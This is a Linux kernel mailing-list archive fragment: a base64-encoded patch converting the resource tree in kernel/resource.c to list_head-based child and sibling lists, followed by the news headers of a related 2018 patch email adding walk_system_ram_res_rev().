YWs7CisJbGlzdF9mb3JfZWFjaF9lbnRyeV9zYWZlKHRtcCwgbmV4dCwgJm9sZC0+cGFyZW50LT5j
aGlsZCwgc2libGluZykgewogCQlpZiAodG1wID09IG9sZCkgewotCQkJaWYgKHJlbGVhc2VfY2hp
bGQgfHwgISh0bXAtPmNoaWxkKSkgewotCQkJCSpwID0gdG1wLT5zaWJsaW5nOworCQkJaWYgKHJl
bGVhc2VfY2hpbGQgfHwgbGlzdF9lbXB0eSgmdG1wLT5jaGlsZCkpIHsKKwkJCQlsaXN0X2RlbCgm
dG1wLT5zaWJsaW5nKTsKIAkJCX0gZWxzZSB7Ci0JCQkJZm9yIChjaGQgPSB0bXAtPmNoaWxkOzsg
Y2hkID0gY2hkLT5zaWJsaW5nKSB7CisJCQkJbGlzdF9mb3JfZWFjaF9lbnRyeShjaGQsICZ0bXAt
PmNoaWxkLCBzaWJsaW5nKQogCQkJCQljaGQtPnBhcmVudCA9IHRtcC0+cGFyZW50OwotCQkJCQlp
ZiAoIShjaGQtPnNpYmxpbmcpKQotCQkJCQkJYnJlYWs7Ci0JCQkJfQotCQkJCSpwID0gdG1wLT5j
aGlsZDsKLQkJCQljaGQtPnNpYmxpbmcgPSB0bXAtPnNpYmxpbmc7CisJCQkJbGlzdF9zcGxpY2Uo
JnRtcC0+Y2hpbGQsIHRtcC0+c2libGluZy5wcmV2KTsKKwkJCQlsaXN0X2RlbCgmdG1wLT5zaWJs
aW5nKTsKIAkJCX0KKwogCQkJb2xkLT5wYXJlbnQgPSBOVUxMOwogCQkJcmV0dXJuIDA7CiAJCX0K
LQkJcCA9ICZ0bXAtPnNpYmxpbmc7CiAJfQogCXJldHVybiAtRUlOVkFMOwogfQogCiBzdGF0aWMg
dm9pZCBfX3JlbGVhc2VfY2hpbGRfcmVzb3VyY2VzKHN0cnVjdCByZXNvdXJjZSAqcikKIHsKLQlz
dHJ1Y3QgcmVzb3VyY2UgKnRtcCwgKnA7CisJc3RydWN0IHJlc291cmNlICp0bXAsICpuZXh0Owog
CXJlc291cmNlX3NpemVfdCBzaXplOwogCi0JcCA9IHItPmNoaWxkOwotCXItPmNoaWxkID0gTlVM
TDsKLQl3aGlsZSAocCkgewotCQl0bXAgPSBwOwotCQlwID0gcC0+c2libGluZzsKLQorCWxpc3Rf
Zm9yX2VhY2hfZW50cnlfc2FmZSh0bXAsIG5leHQsICZyLT5jaGlsZCwgc2libGluZykgewogCQl0
bXAtPnBhcmVudCA9IE5VTEw7Ci0JCXRtcC0+c2libGluZyA9IE5VTEw7CisJCUlOSVRfTElTVF9I
RUFEKCZ0bXAtPnNpYmxpbmcpOwogCQlfX3JlbGVhc2VfY2hpbGRfcmVzb3VyY2VzKHRtcCk7CiAK
IAkJcHJpbnRrKEtFUk5fREVCVUcgInJlbGVhc2UgY2hpbGQgcmVzb3VyY2UgJXBSXG4iLCB0bXAp
OwpAQCAtMjkyLDYgKzI5NCw4IEBAIHN0YXRpYyB2b2lkIF9fcmVsZWFzZV9jaGlsZF9yZXNvdXJj
ZXMoc3RydWN0IHJlc291cmNlICpyKQogCQl0bXAtPnN0YXJ0ID0gMDsKIAkJdG1wLT5lbmQgPSBz
aXplIC0gMTsKIAl9CisKKwlJTklUX0xJU1RfSEVBRCgmdG1wLT5jaGlsZCk7CiB9CiAKIHZvaWQg
cmVsZWFzZV9jaGlsZF9yZXNvdXJjZXMoc3RydWN0IHJlc291cmNlICpyKQpAQCAtMzc2LDcgKzM4
MCw4IEBAIHN0YXRpYyBpbnQgZmluZF9uZXh0X2lvbWVtX3JlcyhzdHJ1Y3QgcmVzb3VyY2UgKnJl
cywgdW5zaWduZWQgbG9uZyBkZXNjLAogCiAJcmVhZF9sb2NrKCZyZXNvdXJjZV9sb2NrKTsKIAot
CWZvciAocCA9IGlvbWVtX3Jlc291cmNlLmNoaWxkOyBwOyBwID0gbmV4dF9yZXNvdXJjZShwLCBz
aWJsaW5nX29ubHkpKSB7CisJZm9yIChwID0gcmVzb3VyY2VfZmlyc3RfY2hpbGQoJmlvbWVtX3Jl
c291cmNlLmNoaWxkKTsgcDsKKwkJCXAgPSBuZXh0X3Jlc291cmNlKHAsIHNpYmxpbmdfb25seSkp
IHsKIAkJaWYgKChwLT5mbGFncyAmIHJlcy0+ZmxhZ3MpICE9IHJlcy0+ZmxhZ3MpCiAJCQljb250
aW51ZTsKIAkJaWYgKChkZXNjICE9IElPUkVTX0RFU0NfTk9ORSkgJiYgKGRlc2MgIT0gcC0+ZGVz
YykpCkBAIC01NjQsNyArNTY5LDcgQEAgaW50IHJlZ2lvbl9pbnRlcnNlY3RzKHJlc291cmNlX3Np
emVfdCBzdGFydCwgc2l6ZV90IHNpemUsIHVuc2lnbmVkIGxvbmcgZmxhZ3MsCiAJc3RydWN0IHJl
c291cmNlICpwOwogCiAJcmVhZF9sb2NrKCZyZXNvdXJjZV9sb2NrKTsKLQlmb3IgKHAgPSBpb21l
bV9yZXNvdXJjZS5jaGlsZDsgcCA7IHAgPSBwLT5zaWJsaW5nKSB7CisJbGlzdF9mb3JfZWFjaF9l
bnRyeShwLCAmaW9tZW1fcmVzb3VyY2UuY2hpbGQsIHNpYmxpbmcpIHsKIAkJYm9vbCBpc190eXBl
ID0gKCgocC0+ZmxhZ3MgJiBmbGFncykgPT0gZmxhZ3MpICYmCiAJCQkJKChkZXNjID09IElPUkVT
X0RFU0NfTk9ORSkgfHwKIAkJCQkgKGRlc2MgPT0gcC0+ZGVzYykpKTsKQEAgLTYxOCw3ICs2MjMs
NyBAQCBzdGF0aWMgaW50IF9fZmluZF9yZXNvdXJjZShzdHJ1Y3QgcmVzb3VyY2UgKnJvb3QsIHN0
cnVjdCByZXNvdXJjZSAqb2xkLAogCQkJIHJlc291cmNlX3NpemVfdCAgc2l6ZSwKIAkJCSBzdHJ1
Y3QgcmVzb3VyY2VfY29uc3RyYWludCAqY29uc3RyYWludCkKIHsKLQlzdHJ1Y3QgcmVzb3VyY2Ug
KnRoaXMgPSByb290LT5jaGlsZDsKKwlzdHJ1Y3QgcmVzb3VyY2UgKnRoaXMgPSByZXNvdXJjZV9m
aXJzdF9jaGlsZCgmcm9vdC0+Y2hpbGQpOwogCXN0cnVjdCByZXNvdXJjZSB0bXAgPSAqbmV3LCBh
dmFpbCwgYWxsb2M7CiAKIAl0bXAuc3RhcnQgPSByb290LT5zdGFydDsKQEAgLTYyOCw3ICs2MzMs
NyBAQCBzdGF0aWMgaW50IF9fZmluZF9yZXNvdXJjZShzdHJ1Y3QgcmVzb3VyY2UgKnJvb3QsIHN0
cnVjdCByZXNvdXJjZSAqb2xkLAogCSAqLwogCWlmICh0aGlzICYmIHRoaXMtPnN0YXJ0ID09IHJv
b3QtPnN0YXJ0KSB7CiAJCXRtcC5zdGFydCA9ICh0aGlzID09IG9sZCkgPyBvbGQtPnN0YXJ0IDog
dGhpcy0+ZW5kICsgMTsKLQkJdGhpcyA9IHRoaXMtPnNpYmxpbmc7CisJCXRoaXMgPSByZXNvdXJj
ZV9zaWJsaW5nKHRoaXMpOwogCX0KIAlmb3IoOzspIHsKIAkJaWYgKHRoaXMpCkBAIC02NjQsNyAr
NjY5LDcgQEAgbmV4dDoJCWlmICghdGhpcyB8fCB0aGlzLT5lbmQgPT0gcm9vdC0+ZW5kKQogCiAJ
CWlmICh0aGlzICE9IG9sZCkKIAkJCXRtcC5zdGFydCA9IHRoaXMtPmVuZCArIDE7Ci0JCXRoaXMg
PSB0aGlzLT5zaWJsaW5nOworCQl0aGlzID0gcmVzb3VyY2Vfc2libGluZyh0aGlzKTsKIAl9CiAJ
cmV0dXJuIC1FQlVTWTsKIH0KQEAgLTcwOCw3ICs3MTMsNyBAQCBzdGF0aWMgaW50IHJlYWxsb2Nh
dGVfcmVzb3VyY2Uoc3RydWN0IHJlc291cmNlICpyb290LCBzdHJ1Y3QgcmVzb3VyY2UgKm9sZCwK
IAkJZ290byBvdXQ7CiAJfQogCi0JaWYgKG9sZC0+Y2hpbGQpIHsKKwlpZiAoIWxpc3RfZW1wdHko
Jm9sZC0+Y2hpbGQpKSB7CiAJCWVyciA9IC1FQlVTWTsKIAkJZ290byBvdXQ7CiAJfQpAQCAtNzg5
LDcgKzc5NCw3IEBAIHN0cnVjdCByZXNvdXJjZSAqbG9va3VwX3Jlc291cmNlKHN0cnVjdCByZXNv
dXJjZSAqcm9vdCwgcmVzb3VyY2Vfc2l6ZV90IHN0YXJ0KQogCXN0cnVjdCByZXNvdXJjZSAqcmVz
OwogCiAJcmVhZF9sb2NrKCZyZXNvdXJjZV9sb2NrKTsKLQlmb3IgKHJlcyA9IHJvb3QtPmNoaWxk
OyByZXM7IHJlcyA9IHJlcy0+c2libGluZykgeworCWxpc3RfZm9yX2VhY2hfZW50cnkocmVzLCAm
cm9vdC0+Y2hpbGQsIHNpYmxpbmcpIHsKIAkJaWYgKHJlcy0+c3RhcnQgPT0gc3RhcnQpCiAJCQli
cmVhazsKIAl9CkBAIC04MjIsMzIgKzgyNywyNyBAQCBzdGF0aWMgc3RydWN0IHJlc291cmNlICog
X19pbnNlcnRfcmVzb3VyY2Uoc3RydWN0IHJlc291cmNlICpwYXJlbnQsIHN0cnVjdCByZXNvdQog
CQkJYnJlYWs7CiAJfQogCi0JZm9yIChuZXh0ID0gZmlyc3Q7IDsgbmV4dCA9IG5leHQtPnNpYmxp
bmcpIHsKKwlmb3IgKG5leHQgPSBmaXJzdDsgOyBuZXh0ID0gcmVzb3VyY2Vfc2libGluZyhuZXh0
KSkgewogCQkvKiBQYXJ0aWFsIG92ZXJsYXA/IEJhZCwgYW5kIHVuZml4YWJsZSAqLwogCQlpZiAo
bmV4dC0+c3RhcnQgPCBuZXctPnN0YXJ0IHx8IG5leHQtPmVuZCA+IG5ldy0+ZW5kKQogCQkJcmV0
dXJuIG5leHQ7Ci0JCWlmICghbmV4dC0+c2libGluZykKKwkJaWYgKCFyZXNvdXJjZV9zaWJsaW5n
KG5leHQpKQogCQkJYnJlYWs7Ci0JCWlmIChuZXh0LT5zaWJsaW5nLT5zdGFydCA+IG5ldy0+ZW5k
KQorCQlpZiAocmVzb3VyY2Vfc2libGluZyhuZXh0KS0+c3RhcnQgPiBuZXctPmVuZCkKIAkJCWJy
ZWFrOwogCX0KLQogCW5ldy0+cGFyZW50ID0gcGFyZW50OwotCW5ldy0+c2libGluZyA9IG5leHQt
PnNpYmxpbmc7Ci0JbmV3LT5jaGlsZCA9IGZpcnN0OworCWxpc3RfYWRkKCZuZXctPnNpYmxpbmcs
ICZuZXh0LT5zaWJsaW5nKTsKKwlJTklUX0xJU1RfSEVBRCgmbmV3LT5jaGlsZCk7CiAKLQluZXh0
LT5zaWJsaW5nID0gTlVMTDsKLQlmb3IgKG5leHQgPSBmaXJzdDsgbmV4dDsgbmV4dCA9IG5leHQt
PnNpYmxpbmcpCisJLyoKKwkgKiBGcm9tIGZpcnN0IHRvIG5leHQsIHRoZXkgYWxsIGZhbGwgaW50
byBuZXcncyByZWdpb24sIHNvIGNoYW5nZSB0aGVtCisJICogYXMgbmV3J3MgY2hpbGRyZW4uCisJ
ICovCisJbGlzdF9jdXRfcG9zaXRpb24oJm5ldy0+Y2hpbGQsIGZpcnN0LT5zaWJsaW5nLnByZXYs
ICZuZXh0LT5zaWJsaW5nKTsKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5KG5leHQsICZuZXctPmNoaWxk
LCBzaWJsaW5nKQogCQluZXh0LT5wYXJlbnQgPSBuZXc7CiAKLQlpZiAocGFyZW50LT5jaGlsZCA9
PSBmaXJzdCkgewotCQlwYXJlbnQtPmNoaWxkID0gbmV3OwotCX0gZWxzZSB7Ci0JCW5leHQgPSBw
YXJlbnQtPmNoaWxkOwotCQl3aGlsZSAobmV4dC0+c2libGluZyAhPSBmaXJzdCkKLQkJCW5leHQg
PSBuZXh0LT5zaWJsaW5nOwotCQluZXh0LT5zaWJsaW5nID0gbmV3OwotCX0KIAlyZXR1cm4gTlVM
TDsKIH0KIApAQCAtOTY5LDE5ICs5NjksMTcgQEAgc3RhdGljIGludCBfX2FkanVzdF9yZXNvdXJj
ZShzdHJ1Y3QgcmVzb3VyY2UgKnJlcywgcmVzb3VyY2Vfc2l6ZV90IHN0YXJ0LAogCWlmICgoc3Rh
cnQgPCBwYXJlbnQtPnN0YXJ0KSB8fCAoZW5kID4gcGFyZW50LT5lbmQpKQogCQlnb3RvIG91dDsK
IAotCWlmIChyZXMtPnNpYmxpbmcgJiYgKHJlcy0+c2libGluZy0+c3RhcnQgPD0gZW5kKSkKKwlp
ZiAocmVzb3VyY2Vfc2libGluZyhyZXMpICYmIChyZXNvdXJjZV9zaWJsaW5nKHJlcyktPnN0YXJ0
IDw9IGVuZCkpCiAJCWdvdG8gb3V0OwogCi0JdG1wID0gcGFyZW50LT5jaGlsZDsKLQlpZiAodG1w
ICE9IHJlcykgewotCQl3aGlsZSAodG1wLT5zaWJsaW5nICE9IHJlcykKLQkJCXRtcCA9IHRtcC0+
c2libGluZzsKKwlpZiAocmVzLT5zaWJsaW5nLnByZXYgIT0gJnBhcmVudC0+Y2hpbGQpIHsKKwkJ
dG1wID0gbGlzdF9wcmV2X2VudHJ5KHJlcywgc2libGluZyk7CiAJCWlmIChzdGFydCA8PSB0bXAt
PmVuZCkKIAkJCWdvdG8gb3V0OwogCX0KIAogc2tpcDoKLQlmb3IgKHRtcCA9IHJlcy0+Y2hpbGQ7
IHRtcDsgdG1wID0gdG1wLT5zaWJsaW5nKQorCWxpc3RfZm9yX2VhY2hfZW50cnkodG1wLCAmcmVz
LT5jaGlsZCwgc2libGluZykKIAkJaWYgKCh0bXAtPnN0YXJ0IDwgc3RhcnQpIHx8ICh0bXAtPmVu
ZCA+IGVuZCkpCiAJCQlnb3RvIG91dDsKIApAQCAtMTIwNiwzNCArMTIwNCwzMiBAQCBFWFBPUlRf
U1lNQk9MKF9fcmVxdWVzdF9yZWdpb24pOwogdm9pZCBfX3JlbGVhc2VfcmVnaW9uKHN0cnVjdCBy
ZXNvdXJjZSAqcGFyZW50LCByZXNvdXJjZV9zaXplX3Qgc3RhcnQsCiAJCQlyZXNvdXJjZV9zaXpl
X3QgbikKIHsKLQlzdHJ1Y3QgcmVzb3VyY2UgKipwOworCXN0cnVjdCByZXNvdXJjZSAqcmVzOwog
CXJlc291cmNlX3NpemVfdCBlbmQ7CiAKLQlwID0gJnBhcmVudC0+Y2hpbGQ7CisJcmVzID0gcmVz
b3VyY2VfZmlyc3RfY2hpbGQoJnBhcmVudC0+Y2hpbGQpOwogCWVuZCA9IHN0YXJ0ICsgbiAtIDE7
CiAKIAl3cml0ZV9sb2NrKCZyZXNvdXJjZV9sb2NrKTsKIAogCWZvciAoOzspIHsKLQkJc3RydWN0
IHJlc291cmNlICpyZXMgPSAqcDsKLQogCQlpZiAoIXJlcykKIAkJCWJyZWFrOwogCQlpZiAocmVz
LT5zdGFydCA8PSBzdGFydCAmJiByZXMtPmVuZCA+PSBlbmQpIHsKIAkJCWlmICghKHJlcy0+Zmxh
Z3MgJiBJT1JFU09VUkNFX0JVU1kpKSB7Ci0JCQkJcCA9ICZyZXMtPmNoaWxkOworCQkJCXJlcyA9
IHJlc291cmNlX2ZpcnN0X2NoaWxkKCZyZXMtPmNoaWxkKTsKIAkJCQljb250aW51ZTsKIAkJCX0K
IAkJCWlmIChyZXMtPnN0YXJ0ICE9IHN0YXJ0IHx8IHJlcy0+ZW5kICE9IGVuZCkKIAkJCQlicmVh
azsKLQkJCSpwID0gcmVzLT5zaWJsaW5nOworCQkJbGlzdF9kZWwoJnJlcy0+c2libGluZyk7CiAJ
CQl3cml0ZV91bmxvY2soJnJlc291cmNlX2xvY2spOwogCQkJaWYgKHJlcy0+ZmxhZ3MgJiBJT1JF
U09VUkNFX01VWEVEKQogCQkJCXdha2VfdXAoJm11eGVkX3Jlc291cmNlX3dhaXQpOwogCQkJZnJl
ZV9yZXNvdXJjZShyZXMpOwogCQkJcmV0dXJuOwogCQl9Ci0JCXAgPSAmcmVzLT5zaWJsaW5nOwor
CQlyZXMgPSByZXNvdXJjZV9zaWJsaW5nKHJlcyk7CiAJfQogCiAJd3JpdGVfdW5sb2NrKCZyZXNv
dXJjZV9sb2NrKTsKQEAgLTEyNjgsOSArMTI2NCw3IEBAIEVYUE9SVF9TWU1CT0woX19yZWxlYXNl
X3JlZ2lvbik7CiBpbnQgcmVsZWFzZV9tZW1fcmVnaW9uX2FkanVzdGFibGUoc3RydWN0IHJlc291
cmNlICpwYXJlbnQsCiAJCQlyZXNvdXJjZV9zaXplX3Qgc3RhcnQsIHJlc291cmNlX3NpemVfdCBz
aXplKQogewotCXN0cnVjdCByZXNvdXJjZSAqKnA7Ci0Jc3RydWN0IHJlc291cmNlICpyZXM7Ci0J
c3RydWN0IHJlc291cmNlICpuZXdfcmVzOworCXN0cnVjdCByZXNvdXJjZSAqcmVzLCAqbmV3X3Jl
czsKIAlyZXNvdXJjZV9zaXplX3QgZW5kOwogCWludCByZXQgPSAtRUlOVkFMOwogCkBAIC0xMjgx
LDE2ICsxMjc1LDE2IEBAIGludCByZWxlYXNlX21lbV9yZWdpb25fYWRqdXN0YWJsZShzdHJ1Y3Qg
cmVzb3VyY2UgKnBhcmVudCwKIAkvKiBUaGUgYWxsb2NfcmVzb3VyY2UoKSByZXN1bHQgZ2V0cyBj
aGVja2VkIGxhdGVyICovCiAJbmV3X3JlcyA9IGFsbG9jX3Jlc291cmNlKEdGUF9LRVJORUwpOwog
Ci0JcCA9ICZwYXJlbnQtPmNoaWxkOworCXJlcyA9IHJlc291cmNlX2ZpcnN0X2NoaWxkKCZwYXJl
bnQtPmNoaWxkKTsKIAl3cml0ZV9sb2NrKCZyZXNvdXJjZV9sb2NrKTsKIAotCXdoaWxlICgocmVz
ID0gKnApKSB7CisJd2hpbGUgKChyZXMpKSB7CiAJCWlmIChyZXMtPnN0YXJ0ID49IGVuZCkKIAkJ
CWJyZWFrOwogCiAJCS8qIGxvb2sgZm9yIHRoZSBuZXh0IHJlc291cmNlIGlmIGl0IGRvZXMgbm90
IGZpdCBpbnRvICovCiAJCWlmIChyZXMtPnN0YXJ0ID4gc3RhcnQgfHwgcmVzLT5lbmQgPCBlbmQp
IHsKLQkJCXAgPSAmcmVzLT5zaWJsaW5nOworCQkJcmVzID0gcmVzb3VyY2Vfc2libGluZyhyZXMp
OwogCQkJY29udGludWU7CiAJCX0KIApAQCAtMTI5OCwxNCArMTI5MiwxNCBAQCBpbnQgcmVsZWFz
ZV9tZW1fcmVnaW9uX2FkanVzdGFibGUoc3RydWN0IHJlc291cmNlICpwYXJlbnQsCiAJCQlicmVh
azsKIAogCQlpZiAoIShyZXMtPmZsYWdzICYgSU9SRVNPVVJDRV9CVVNZKSkgewotCQkJcCA9ICZy
ZXMtPmNoaWxkOworCQkJcmVzID0gcmVzb3VyY2VfZmlyc3RfY2hpbGQoJnJlcy0+Y2hpbGQpOwog
CQkJY29udGludWU7CiAJCX0KIAogCQkvKiBmb3VuZCB0aGUgdGFyZ2V0IHJlc291cmNlOyBsZXQn
cyBhZGp1c3QgYWNjb3JkaW5nbHkgKi8KIAkJaWYgKHJlcy0+c3RhcnQgPT0gc3RhcnQgJiYgcmVz
LT5lbmQgPT0gZW5kKSB7CiAJCQkvKiBmcmVlIHRoZSB3aG9sZSBlbnRyeSAqLwotCQkJKnAgPSBy
ZXMtPnNpYmxpbmc7CisJCQlsaXN0X2RlbCgmcmVzLT5zaWJsaW5nKTsKIAkJCWZyZWVfcmVzb3Vy
Y2UocmVzKTsKIAkJCXJldCA9IDA7CiAJCX0gZWxzZSBpZiAocmVzLT5zdGFydCA9PSBzdGFydCAm
JiByZXMtPmVuZCAhPSBlbmQpIHsKQEAgLTEzMjgsMTQgKzEzMjIsMTMgQEAgaW50IHJlbGVhc2Vf
bWVtX3JlZ2lvbl9hZGp1c3RhYmxlKHN0cnVjdCByZXNvdXJjZSAqcGFyZW50LAogCQkJbmV3X3Jl
cy0+ZmxhZ3MgPSByZXMtPmZsYWdzOwogCQkJbmV3X3Jlcy0+ZGVzYyA9IHJlcy0+ZGVzYzsKIAkJ
CW5ld19yZXMtPnBhcmVudCA9IHJlcy0+cGFyZW50OwotCQkJbmV3X3Jlcy0+c2libGluZyA9IHJl
cy0+c2libGluZzsKLQkJCW5ld19yZXMtPmNoaWxkID0gTlVMTDsKKwkJCUlOSVRfTElTVF9IRUFE
KCZuZXdfcmVzLT5jaGlsZCk7CiAKIAkJCXJldCA9IF9fYWRqdXN0X3Jlc291cmNlKHJlcywgcmVz
LT5zdGFydCwKIAkJCQkJCXN0YXJ0IC0gcmVzLT5zdGFydCk7CiAJCQlpZiAocmV0KQogCQkJCWJy
ZWFrOwotCQkJcmVzLT5zaWJsaW5nID0gbmV3X3JlczsKKwkJCWxpc3RfYWRkKCZuZXdfcmVzLT5z
aWJsaW5nLCAmcmVzLT5zaWJsaW5nKTsKIAkJCW5ld19yZXMgPSBOVUxMOwogCQl9CiAKQEAgLTE1
MTYsNyArMTUwOSw3IEBAIHN0YXRpYyBpbnQgX19pbml0IHJlc2VydmVfc2V0dXAoY2hhciAqc3Ry
KQogCQkJcmVzLT5lbmQgPSBpb19zdGFydCArIGlvX251bSAtIDE7CiAJCQlyZXMtPmZsYWdzIHw9
IElPUkVTT1VSQ0VfQlVTWTsKIAkJCXJlcy0+ZGVzYyA9IElPUkVTX0RFU0NfTk9ORTsKLQkJCXJl
cy0+Y2hpbGQgPSBOVUxMOworCQkJSU5JVF9MSVNUX0hFQUQoJnJlcy0+Y2hpbGQpOwogCQkJaWYg
KHJlcXVlc3RfcmVzb3VyY2UocGFyZW50LCByZXMpID09IDApCiAJCQkJcmVzZXJ2ZWQgPSB4KzE7
CiAJCX0KQEAgLTE1MzYsNyArMTUyOSw3IEBAIGludCBpb21lbV9tYXBfc2FuaXR5X2NoZWNrKHJl
c291cmNlX3NpemVfdCBhZGRyLCB1bnNpZ25lZCBsb25nIHNpemUpCiAJbG9mZl90IGw7CiAKIAly
ZWFkX2xvY2soJnJlc291cmNlX2xvY2spOwotCWZvciAocCA9IHAtPmNoaWxkOyBwIDsgcCA9IHJf
bmV4dChOVUxMLCBwLCAmbCkpIHsKKwlmb3IgKHAgPSByZXNvdXJjZV9maXJzdF9jaGlsZCgmcC0+
Y2hpbGQpOyBwOyBwID0gcl9uZXh0KE5VTEwsIHAsICZsKSkgewogCQkvKgogCQkgKiBXZSBjYW4g
cHJvYmFibHkgc2tpcCB0aGUgcmVzb3VyY2VzIHdpdGhvdXQKIAkJICogSU9SRVNPVVJDRV9JTyBh
dHRyaWJ1dGU/CkBAIC0xNTkyLDcgKzE1ODUsNyBAQCBib29sIGlvbWVtX2lzX2V4Y2x1c2l2ZSh1
NjQgYWRkcikKIAlhZGRyID0gYWRkciAmIFBBR0VfTUFTSzsKIAogCXJlYWRfbG9jaygmcmVzb3Vy
Y2VfbG9jayk7Ci0JZm9yIChwID0gcC0+Y2hpbGQ7IHAgOyBwID0gcl9uZXh0KE5VTEwsIHAsICZs
KSkgeworCWZvciAocCA9IHJlc291cmNlX2ZpcnN0X2NoaWxkKCZwLT5jaGlsZCk7IHA7IHAgPSBy
X25leHQoTlVMTCwgcCwgJmwpKSB7CiAJCS8qCiAJCSAqIFdlIGNhbiBwcm9iYWJseSBza2lwIHRo
ZSByZXNvdXJjZXMgd2l0aG91dAogCQkgKiBJT1JFU09VUkNFX0lPIGF0dHJpYnV0ZT8KLS0gCjIu
MTMuNgoKX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KTGlu
dXgtbnZkaW1tIG1haWxpbmcgbGlzdApMaW51eC1udmRpbW1AbGlzdHMuMDEub3JnCmh0dHBzOi8v
bGlzdHMuMDEub3JnL21haWxtYW4vbGlzdGluZm8vbGludXgtbnZkaW1tCg==


From - Thu Nov 08 21:41:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec
Subject: [PATCH v4 2/3] resource: add walk_system_ram_res_rev()
Date: Mon,  7 May 2018 14:32:23 +0800
Lines: 54
Approved: news@gmane.org
Message-ID: <20180507063224.24229-3-bhe@redhat.com>
References: <20180507063224.24229-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1525674689 2181 195.159.176.226 (7 May 2018 06:31:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 7 May 2018 06:31:29 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org, davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Mon May 07 08:31:21 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fFZg8-0000O3-Tb
	for gln-linux-nvdimm@m.gmane.org; Mon, 07 May 2018 08:31:21 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id C534420961076;
	Sun,  6 May 2018 23:33:31 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
